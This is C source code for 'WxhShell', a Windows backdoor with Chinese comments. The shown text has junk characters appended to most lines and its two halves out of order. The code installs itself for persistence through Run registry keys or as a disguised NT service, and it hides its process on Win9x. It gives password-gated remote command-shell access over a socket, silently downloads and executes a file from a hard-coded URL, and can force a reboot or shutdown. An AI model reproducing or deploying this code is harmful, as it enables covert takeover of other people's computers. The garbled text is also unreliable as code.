    if(Boot(SHUTDOWN)) t^~Qv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XeX` h_  
    else { d r$E:kr  
    closesocket(wsh); o>\o=%D.a  
    ExitThread(0); pD;fFLvN  
    } ;b!qt-;.<  
    break; pv]" 2'aQ  
    } #p2`9o  
  // 获取shell *" +u^  
  case 's': { ZQ{-6VCjl  
    CmdShell(wsh); {A'_5 X9  
    closesocket(wsh); iTVZo?lVo  
    ExitThread(0); T{)_vQ  
    break; v?_L_{x;W  
  } _$i)bJ  
  // 退出 &yG5w4<  
  case 'x': { ^09-SUl^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q2[; H!"  
    CloseIt(wsh); ;OZl' . %`  
    break; nx{MUN7  
    } dozC[4mF  
  // 离开 \P7<q,OGS  
  case 'q': { hkMVA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); yM Xf&$C  
    closesocket(wsh); u9fJ:a  
    WSACleanup(); y/+ IPR  
    exit(1); Q89fXi0Ivb  
    break; Z)md]Twt  
        } \/ ipYc  
  } /xj`'8  
  } Xy r'rm5+b  
(AZAQ xt  
  // 提示信息 glLoYRTi  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p>B-Ubu  
} 9{ #5~WP  
  } N&^zXY  
p<3<Zk 7~0  
  return; aa" 3 Io  
} A9;,y'm^8  
$O%"[w  
// shell模块句柄 sou~m,#  
int CmdShell(SOCKET sock) SDB \6[D  
{ O]' 2<;  
STARTUPINFO si; RL3*fRlb  
ZeroMemory(&si,sizeof(si)); %SuELm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xpc{#/Nk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yD#(Iw  
PROCESS_INFORMATION ProcessInfo; Cz &3=),G  
char cmdline[]="cmd"; :$0yp`k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -V-I&sO<  
  return 0; zwz_K!229  
} Ec@cW6g(%  
&gKDw!al  
// 自身启动模式 qw1W }+~g  
int StartFromService(void) #k?.dWZ!  
{ \&b 9  
typedef struct p=odyf1hK  
{ o (4gh1b%  
  DWORD ExitStatus; /l_u $"  
  DWORD PebBaseAddress; -K3d u&j  
  DWORD AffinityMask; 7hTpjox2  
  DWORD BasePriority; ?Yzw]ag.  
  ULONG UniqueProcessId; d::9,~  
  ULONG InheritedFromUniqueProcessId; OTl9MwW  
}   PROCESS_BASIC_INFORMATION; .>z1BP:(  
[!4xInS  
PROCNTQSIP NtQueryInformationProcess; ?5J>]: +ZZ  
"YaT1` Kr  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t<ZBp0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ==Xy'n9'  
wl&T9O;?  
  HANDLE             hProcess; Qj|rNeM_  
  PROCESS_BASIC_INFORMATION pbi; \Y>b#*m(4  
D<|$ZuB4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); XRO(p`OE-  
  if(NULL == hInst ) return 0; < Sgc6>)  
b b.UtoPz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m2"wMt"*V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); * V7mM?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Yxbg _RQm  
T*%rhnTv0  
  if (!NtQueryInformationProcess) return 0; O-[  
r}es_9*~Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YC')vv3o(  
  if(!hProcess) return 0; H6{Bx2J1*  
'&e8;X  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7e\Jg/FU  
|'z24 :8  
  CloseHandle(hProcess); {@F'BB\  
= pn;b1=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~M8|r!_  
if(hProcess==NULL) return 0; zjh:jrv~  
`a83bF35  
HMODULE hMod; E*`PD<:)H  
char procName[255]; 0G6aF"  
unsigned long cbNeeded; /(*Ucv2i}T  
Wy}^5]R0E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3E^qh03(  
}79O[&  
  CloseHandle(hProcess); 2Z%n "z68  
-gm5E qi  
if(strstr(procName,"services")) return 1; // 以服务启动 -fXQ62:S  
xT]t3'y|-  
  return 0; // 注册表启动 yo/;@}g}  
} g'b|[ q  
K4jHha  
// 主模块 ge(,>xB  
int StartWxhshell(LPSTR lpCmdLine) 8lzoiA_9  
{ `g3AM%3  
  SOCKET wsl; #-@Uq6Y  
BOOL val=TRUE; <D3mt Q  
  int port=0; \8=)X})  
  struct sockaddr_in door; `FQ]ad Fz  
>~nr,V.q  
  if(wscfg.ws_autoins) Install(); 5a'`%b{{  
NLK1IH#  
port=atoi(lpCmdLine); T[)!7@4r  
5!fOc]]Ow  
if(port<=0) port=wscfg.ws_port; rJkJ/9s  
:\JCxS=EW  
  WSADATA data; \ a,}1FS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m$=}nI(H  
YLi6G Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /AAD Fa  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8QK8q: |  
  door.sin_family = AF_INET; JRw,${W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); KILX?Pt[7  
  door.sin_port = htons(port); !p).3Kx0  
eG1V:%3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `WN80d\)&  
closesocket(wsl); nH&z4-1Y?  
return 1; NLY=o@<  
} Lc5zu7ncg  
&Ap9h# dK  
  if(listen(wsl,2) == INVALID_SOCKET) { VC/-5'_6  
closesocket(wsl); Qv5 fK  
return 1; E& i (T2c  
} in/~' u  
  Wxhshell(wsl); +/Y2\ s  
  WSACleanup(); S'8+jY  
+^+'.xQ  
return 0; P%lD9<jED  
s{R ,- \_  
} _%=CW' B  
3a.!9R>  
// 以NT服务方式启动 \? )S {  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `DF49YP"~  
{ /0H}-i  
DWORD   status = 0; Gmi? xGn  
  DWORD   specificError = 0xfffffff; .FHk1~\%z^  
G@#lf@M]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; On}1&!{1]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /uX*FZ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D$ K'Qk  
  serviceStatus.dwWin32ExitCode     = 0; #p@GhI!6  
  serviceStatus.dwServiceSpecificExitCode = 0; 6"* <0  
  serviceStatus.dwCheckPoint       = 0; OQ hQ!6  
  serviceStatus.dwWaitHint       = 0; T2S_> #."l  
I2WP/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yy=hCjQ)  
  if (hServiceStatusHandle==0) return; S xJ&5q  
G~8BND[."  
status = GetLastError(); )g dLb}  
  if (status!=NO_ERROR) zUL,~u  
{ =Q40]>bpx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M%`CzCL u  
    serviceStatus.dwCheckPoint       = 0; /HLI9  
    serviceStatus.dwWaitHint       = 0; 2I [zV7 @t  
    serviceStatus.dwWin32ExitCode     = status; ` = O  
    serviceStatus.dwServiceSpecificExitCode = specificError; wQUl!s7M;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &&9 |;0 <  
    return; < ,0D|O ,Y  
  }  x)Bbo9J  
;&O?4?@4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; p"p~Bx  
  serviceStatus.dwCheckPoint       = 0; s{Qae=$Q  
  serviceStatus.dwWaitHint       = 0; 5m 0\ls\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?-<lIF Fh  
} m%`YAD@2z  
jeWv~JA%L|  
// 处理NT服务事件,比如:启动、停止 &|{1Ws  
VOID WINAPI NTServiceHandler(DWORD fdwControl) cl4z%qv*  
{ ih".y3  
switch(fdwControl) ^#<L!yo^  
{ {\D &*  
case SERVICE_CONTROL_STOP: KJ'ID  
  serviceStatus.dwWin32ExitCode = 0; qx5`lm~L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'Gl~P><e  
  serviceStatus.dwCheckPoint   = 0; z1Bi#/i  
  serviceStatus.dwWaitHint     = 0; \L(cFjLIl  
  { P-Y_$Nv0g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  C7ivA h  
  } ]5"k%v|  
  return; t<Yi!6  
case SERVICE_CONTROL_PAUSE: BA: x*(%~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 'c7nh{F  
  break; 1OM Xg=Y  
case SERVICE_CONTROL_CONTINUE: d j\Z}[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; oL@-<;zKO  
  break; _GG\SWm  
case SERVICE_CONTROL_INTERROGATE: 9Vm1q!lE  
  break; ][S q^5`  
}; 6XWNJb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4-.K<-T%D  
} b!@PS$BTxq  
}4YzP 4  
// 标准应用程序主函数 HXa[0VOx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7x6 M]1F  
{ X>[i<ei  
(0NffM1  
// 获取操作系统版本 mp8GHV  
OsIsNt=GetOsVer(); 88osWo6rG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -{cmi,oy  
_eiqs  
  // 从命令行安装 i7.8H*z'  
  if(strpbrk(lpCmdLine,"iI")) Install(); tRdf:F\X  
T"z<D+ pN  
  // 下载执行文件 Jr !BDg  
if(wscfg.ws_downexe) { tdH[e0x B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gPKf8{#%e  
  WinExec(wscfg.ws_filenam,SW_HIDE); r& a[ ?  
} Pz2 b  
wu.l-VmGp)  
if(!OsIsNt) { [j0[c9.p [  
// 如果时win9x,隐藏进程并且设置为注册表启动 +=8wZ]  
HideProc(); T ?[28|  
StartWxhshell(lpCmdLine); 1 jidBzu<  
} BI`)P+K2  
else 58s-RO6  
  if(StartFromService()) M4C8K{}  
  // 以服务方式启动 @v lP)"  
  StartServiceCtrlDispatcher(DispatchTable); +-<G(^  
else <}RI<96  
  // 普通方式启动 n>ui'}L  
  StartWxhshell(lpCmdLine); TF/NA\0c$  
U*r54AyP  
return 0; 7{F\b  
} R!j#  
$z%(He  
>)ekb7  
q~R8<G%YK  
=========================================== [;z\bV<S  
*<xu3){:c  
uslu-|b!%  
"@nH;Xlq  
e-ta7R4  
-"I$$C  
" j hm3:;Z  
,' | J  
#include <stdio.h> s-"KABEE  
#include <string.h> _Z0 .c@0  
#include <windows.h> [ey# ,&T  
#include <winsock2.h>  `M I;.t  
#include <winsvc.h> uB  I/3aQ  
#include <urlmon.h> g{]6*`/Z  
"u^Erj# /  
#pragma comment (lib, "Ws2_32.lib") Nu"v .]Y2  
#pragma comment (lib, "urlmon.lib") |eu8;~A  
ytIPY7E  
#define MAX_USER   100 // 最大客户端连接数 t<8)h8eW  
#define BUF_SOCK   200 // sock buffer MIZdk'.U  
#define KEY_BUFF   255 // 输入 buffer G]ek-[-  
j?N<40z  
#define REBOOT     0   // 重启 Mr)t>4  
#define SHUTDOWN   1   // 关机 h=A  
?y-^Fq|h  
#define DEF_PORT   5000 // 监听端口 TGF$zvd  
RTc@`m3 M  
#define REG_LEN     16   // 注册表键长度 4^W!,@W  
#define SVC_LEN     80   // NT服务名长度 Ku ,wI86  
dun`/QKV  
// 从dll定义API u4Nh_x8\Nr  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J 8%gC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r/sSkF F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GI]\  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sv=U^xI  
|jiIx5qr  
// wxhshell配置信息 hQ@k|3=Re  
struct WSCFG { *K|~]r(F?  
  int ws_port;         // 监听端口 u}nSdZC  
  char ws_passstr[REG_LEN]; // 口令 }%u #TwZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no n*7^lAa2  
  char ws_regname[REG_LEN]; // 注册表键名 O^MI073Q>t  
  char ws_svcname[REG_LEN]; // 服务名 &4-;;h\H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8 MO-QO  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v])ew|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Vg NB^w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no L/ 7AGR|;C  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ur])*#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,4Q4{Tx  
YCDH0M  
}; SI!A?34  
|P>7C  
// default Wxhshell configuration # sw4)*v  
struct WSCFG wscfg={DEF_PORT, T<B}Z11R  
    "xuhuanlingzhe", 4QA~@pBX^{  
    1, !_ W/p`Tc  
    "Wxhshell", s/7Z.\  
    "Wxhshell", =%m{|HQ`  
            "WxhShell Service", J#$U<`j*G  
    "Wrsky Windows CmdShell Service", ^bv^&V&IB  
    "Please Input Your Password: ", 3jAr"xc  
  1, O t)}:oG  
  "http://www.wrsky.com/wxhshell.exe", X84T F~2Y  
  "Wxhshell.exe" =cEsv&i  
    }; ~M}{rl.n=  
}b\hRy~=r  
// 消息定义模块 "-=fi 'D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =Dq&lm,n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^m#tWb)f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T [SK>z  
char *msg_ws_ext="\n\rExit."; )h}IZSm  
char *msg_ws_end="\n\rQuit."; *S}@DoXS  
char *msg_ws_boot="\n\rReboot..."; $Lp [i <O]  
char *msg_ws_poff="\n\rShutdown..."; OIPY,cj~  
char *msg_ws_down="\n\rSave to "; u!K1K3T6k  
hS,&Nj+  
char *msg_ws_err="\n\rErr!"; xF[%R{Mn'  
char *msg_ws_ok="\n\rOK!"; mXz*Gi  
`6~0W5  
char ExeFile[MAX_PATH]; uHKEt[PS$  
int nUser = 0; U823q-x  
HANDLE handles[MAX_USER]; Rn?JMM]  
int OsIsNt; FaeKDbLJr  
9vV==A#  
SERVICE_STATUS       serviceStatus; 3&y-xZu]  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; E]' f&0s  
O^cC+@l!4  
// 函数声明 qnp}#BZ  
int Install(void); n<C] 6H  
int Uninstall(void); ; dzL9P9IU  
int DownloadFile(char *sURL, SOCKET wsh); KUJLx  
int Boot(int flag); R,BJr y  
void HideProc(void); -$:; en?  
int GetOsVer(void); (,h2qP-;ud  
int Wxhshell(SOCKET wsl); w1tM !4r  
void TalkWithClient(void *cs); b=5w>*  
int CmdShell(SOCKET sock); 3Z?ornS  
int StartFromService(void); 5mZ2CDV  
int StartWxhshell(LPSTR lpCmdLine); TLsF c^X  
{5Bj*m5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q}t]lD %C  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @:?[R&`  
LTe ({6l0  
// 数据结构和表定义 gF,=rT1:>r  
SERVICE_TABLE_ENTRY DispatchTable[] = }i8y/CA  
{ 5?^#v  
{wscfg.ws_svcname, NTServiceMain}, r]!#v{#.  
{NULL, NULL} k ;^$Pd?t  
}; Uoe{,4T  
u ]"fwkL  
// 自我安装 67(s\  
int Install(void) ^.6yzlY  
{ )g'J'_Sl  
  char svExeFile[MAX_PATH]; V*@aE  
  HKEY key; 5REFz  
  strcpy(svExeFile,ExeFile); j,.M!q]  
M=raKb?F  
// 如果是win9x系统,修改注册表设为自启动 4  eLZ  
if(!OsIsNt) { 1b3 a(^^E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DKj iooD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .Exvuo`F  
  RegCloseKey(key); g[(@@TiG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .aT@'a{F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K;6#v%  
  RegCloseKey(key); ':(AiD-}  
  return 0; :GIBB=D9  
    } gkd4)\9  
  } ." xP {  
} r0}x:{$M  
else { ,1{qZ(l1  
a]r+np]vTy  
// 如果是NT以上系统,安装为系统服务 t)&U'^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3Z" ;a  
if (schSCManager!=0) &<;T$Y  
{ <mFDC?j  
  SC_HANDLE schService = CreateService DP @1to@  
  ( HF FG4'  
  schSCManager, DT`HS/~fH  
  wscfg.ws_svcname, ;}SGJ7  
  wscfg.ws_svcdisp, Ye3o}G9z  
  SERVICE_ALL_ACCESS, q? ">  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bh@CtnO  
  SERVICE_AUTO_START, 9I/l+IS"X  
  SERVICE_ERROR_NORMAL, PRU&y/zZmG  
  svExeFile, (?Mn_FNE|  
  NULL, 1L*[!QT4  
  NULL, b WNa6x  
  NULL, Sh(ys*y>  
  NULL, V| V 9.  
  NULL rC!O}(4t%$  
  ); VFf;|PHS  
  if (schService!=0) Q2 !GWz$  
  { f5*qlQJFz\  
  CloseServiceHandle(schService); 6-|?ya  
  CloseServiceHandle(schSCManager); S a +Y/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +#eol~j9N  
  strcat(svExeFile,wscfg.ws_svcname); sMMOZ'bT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Aars\   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ',R%Q0Q  
  RegCloseKey(key); s;I @En  
  return 0; "<=4]Z  
    } 59zWB,y(P  
  } a=}1`Q  
  CloseServiceHandle(schSCManager); uLzE'Z mV  
} 8|zavH#P  
} n$C- ^3 c  
GKFRZWXdT  
return 1; 7K.75%}  
} nms[No?  
nod&^%O"  
// 自我卸载 i?!9%U!z4  
int Uninstall(void) b,+Sa\j)(  
{ +%XByY5  
  HKEY key; C4(xtSJSd!  
q\<l"b z  
if(!OsIsNt) { %nkP" Z#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;D~#|CB  
  RegDeleteValue(key,wscfg.ws_regname); NWn*_@7;  
  RegCloseKey(key); QQW}.>N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :6(\:  
  RegDeleteValue(key,wscfg.ws_regname); )G)6D"5,+G  
  RegCloseKey(key); RyK~"CWT  
  return 0; uaO.7QSwN  
  } w8X5kk   
} y-26\eY^P  
} l+6c|([  
else { Z|C,HF+m.  
)>1}I_1j)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +UDt2  
if (schSCManager!=0) {`D]%eRO  
{ Gl>\p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D`@a*YIq  
  if (schService!=0) wKpBH}  
  { Q$ew.h  
  if(DeleteService(schService)!=0) { N~flao^  
  CloseServiceHandle(schService); $=.%IJ_MAz  
  CloseServiceHandle(schSCManager); T{ @@V  
  return 0; :O413#8  
  } Pp } Z"  
  CloseServiceHandle(schService); 9;LjM ~Ct  
  } _fS\p|W(E  
  CloseServiceHandle(schSCManager); =W7-;&  
} gfK_g)'2U  
} +\Vw:~e  
~+1mH  
return 1; KfjWZ4{v  
} `R2Iw I&  
?+EAp"{j  
// 从指定url下载文件 UWO3sZpU  
int DownloadFile(char *sURL, SOCKET wsh) /V*SI!C<f  
{ F% n}vA`  
  HRESULT hr; {LjzkXs  
char seps[]= "/"; {Lal5E4-  
char *token; ;<0vvP|  
char *file; Q &W>h/  
char myURL[MAX_PATH]; 7R6B}B?/  
char myFILE[MAX_PATH]; n5C,Z!)z  
#Gi`s?  
strcpy(myURL,sURL); `T*Y1@FV  
  token=strtok(myURL,seps);  x(HHy,  
  while(token!=NULL) cRs.@U\{R\  
  { </;e$fh`  
    file=token; .hH_1Mo8  
  token=strtok(NULL,seps); l1T`[2  
  } Y0g]-B  
C"kfxpCi  
GetCurrentDirectory(MAX_PATH,myFILE); A4,%l\di<  
strcat(myFILE, "\\"); BlpyE[h T  
strcat(myFILE, file); r5xm7- `c  
  send(wsh,myFILE,strlen(myFILE),0); X`_tm3HC  
send(wsh,"...",3,0); 5[)5K?%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bK6^<,~  
  if(hr==S_OK) 6MM\nIU)/  
return 0; BR|0uJ.M  
else ].rKfv:  
return 1; j-BNHX  
JL G!;sov  
} C')KZ|JIC  
iT&4;W=72~  
// 系统电源模块 L|WrdT D;  
int Boot(int flag) GcN}I=4|  
{ Lx>[`QT  
  HANDLE hToken; Jw5@#j  
  TOKEN_PRIVILEGES tkp; oo;<I_#07  
\bT0\ (Js\  
  if(OsIsNt) { }*bp4<|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <eEIR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B](R(x>L  
    tkp.PrivilegeCount = 1; jywS<9c@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3!F^ vZ.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G~y:ZEnN[  
if(flag==REBOOT) { OB9E30  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &S xF"pYV  
  return 0; 8SRUqe[H]  
} fNi&r0/-t  
else { ,ASNa^7/>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4v>SXch  
  return 0; `^/8dIya  
} w-JWMgY8w  
  } [5' HlHK  
  else { Ba?1q%eG  
if(flag==REBOOT) { ! $mY.uu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +w[ZMk  
  return 0; gpyio1V>  
} (<_kq;XtN0  
else { ^f>c_[fR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )U|V|yem'  
  return 0; W5'6L =WG  
} .WKJ37od  
} 9nVb$pfe#  
/[lEZ['^  
return 1; %Qz<Lk">.  
} ;76+J)  
yKUxjb^b\  
// win9x进程隐藏模块 4G:~|N.{p  
void HideProc(void) R"XycXn_$  
{ KWDH 35  
muXP5MO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ch%zu%;f  
  if ( hKernel != NULL ) G9-ETj}  
  { S-mpob)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H.|I|XRG/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BegO\0%+  
    FreeLibrary(hKernel); vTFG*\Cq  
  } F&uiI;+zJ  
8y5"X"U  
return; #y:F3$c  
} |BM#rfQ  
" 4#&tNQ  
// 获取操作系统版本 .n+ ;&5  
int GetOsVer(void) w=?nD6Xhz  
{ kwaZn~  
  OSVERSIONINFO winfo; 3| w$gG;Y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 68GH$ji  
  GetVersionEx(&winfo); B.4e4%BBS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }%}$h2:  
  return 1; v/xlb&Xx  
  else 9mk@\Gqqm  
  return 0; 93D}0kp  
} 5JaLE5-  
DqY"N ]  
// 客户端句柄模块 l"JM%LV  
int Wxhshell(SOCKET wsl) Hd;NvNS  
{ K:-jn}i?/  
  SOCKET wsh; ~D5FnN9  
  struct sockaddr_in client; {hN\=_6*EW  
  DWORD myID; m4h)Wq  
An#[ +?  
  while(nUser<MAX_USER) b=S"o )>  
{ uSYI X  
  int nSize=sizeof(client); Y*pXbztP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V?*fl^f  
  if(wsh==INVALID_SOCKET) return 1; v+xrn z  
8J&9}@y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z[ ;n2o|s  
if(handles[nUser]==0) nLAwo3  
  closesocket(wsh); du }HTrsC  
else %pWJ2J@  
  nUser++; }R}M>^(R4  
  } 6oQ7u90z*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O[$X36z  
n~ $S  
  return 0; Zs}h>$E5_B  
} PW%ith1)<  
-*[)CR-{  
// 关闭 socket :RIqA/  
void CloseIt(SOCKET wsh) "LDNkw'  
{ Mu:zWLM*M  
closesocket(wsh); ?r(vXq\  
nUser--; &S*{a  
ExitThread(0); Zjn1,\(t~u  
} rtJ@D2Hj^  
]U~{?K'g@j  
// 客户端请求句柄 e`][zx  
void TalkWithClient(void *cs) 4J`-&05O  
{ K)x6F 15r  
nm\f$K>Pg  
  SOCKET wsh=(SOCKET)cs; q("l?'  
  char pwd[SVC_LEN]; Am3j:|>*  
  char cmd[KEY_BUFF]; f%_$RdU  
char chr[1]; Z%ZOAu&p  
int i,j; )CoFRqz<h  
um]N]cCD`  
  while (nUser < MAX_USER) { nTsV>lQY,  
WxD$k3U  
if(wscfg.ws_passstr) { r9(c<E?,h  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ER-Xd9R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ":T"Y;  
  //ZeroMemory(pwd,KEY_BUFF); MY\mo,#  
      i=0; aBQ--Sz  
  while(i<SVC_LEN) { G+sB/l"  
,0HID:&  
  // 设置超时 jX'pUO  
  fd_set FdRead; @|<nDd{2  
  struct timeval TimeOut; %vf;qVoA~  
  FD_ZERO(&FdRead); ;j;U9-oh  
  FD_SET(wsh,&FdRead);  WSeiW  
  TimeOut.tv_sec=8; M7Z&t'=  
  TimeOut.tv_usec=0; (?uK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aH%tD!%,o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .AX%6+o  
8KP   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uCW}q.@4  
  pwd=chr[0]; D5@}L$ u  
  if(chr[0]==0xd || chr[0]==0xa) { |@b|Q,  
  pwd=0; ?vD<_5K; I  
  break; d_:tiHw$  
  } 4E!Pxjl3a  
  i++; gBI?dw  
    } uU$/4{  
](-[ I#  
  // 如果是非法用户,关闭 socket v{lDEF@2^N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v(O@~8(I  
} @DM NL sQ  
+LWgby4q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y&4im;X0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GQ.akA_(  
gQ '=mU  
while(1) { ?OO !M  
`ALQSo~l  
  ZeroMemory(cmd,KEY_BUFF); #/`MYh=!W  
2"xhFxoD7  
      // 自动支持客户端 telnet标准   T3)m{gv0`  
  j=0; `+KLE(]vyH  
  while(j<KEY_BUFF) { ?|2m0~%V=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m^0*k|9+G  
  cmd[j]=chr[0]; c7?|Tipc  
  if(chr[0]==0xa || chr[0]==0xd) { W^:g_  
  cmd[j]=0; 6xh -m  
  break; XxB%  
  } (|6!pQ7  
  j++; 7S&O {Q7)  
    } [)[?FG9   
MS|1Q@S9  
  // 下载文件 ;''S} ;  
  if(strstr(cmd,"http://")) { \FO 4A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }?GeU Xhy  
  if(DownloadFile(cmd,wsh)) 2qj0iRH#N<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); n n8N 9w  
  else L<<v   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u*Y!=IT  
  } 7V\M)r{q7  
  else { mp]UUpt  
#eI` l`}  
    switch(cmd[0]) { .$x822   
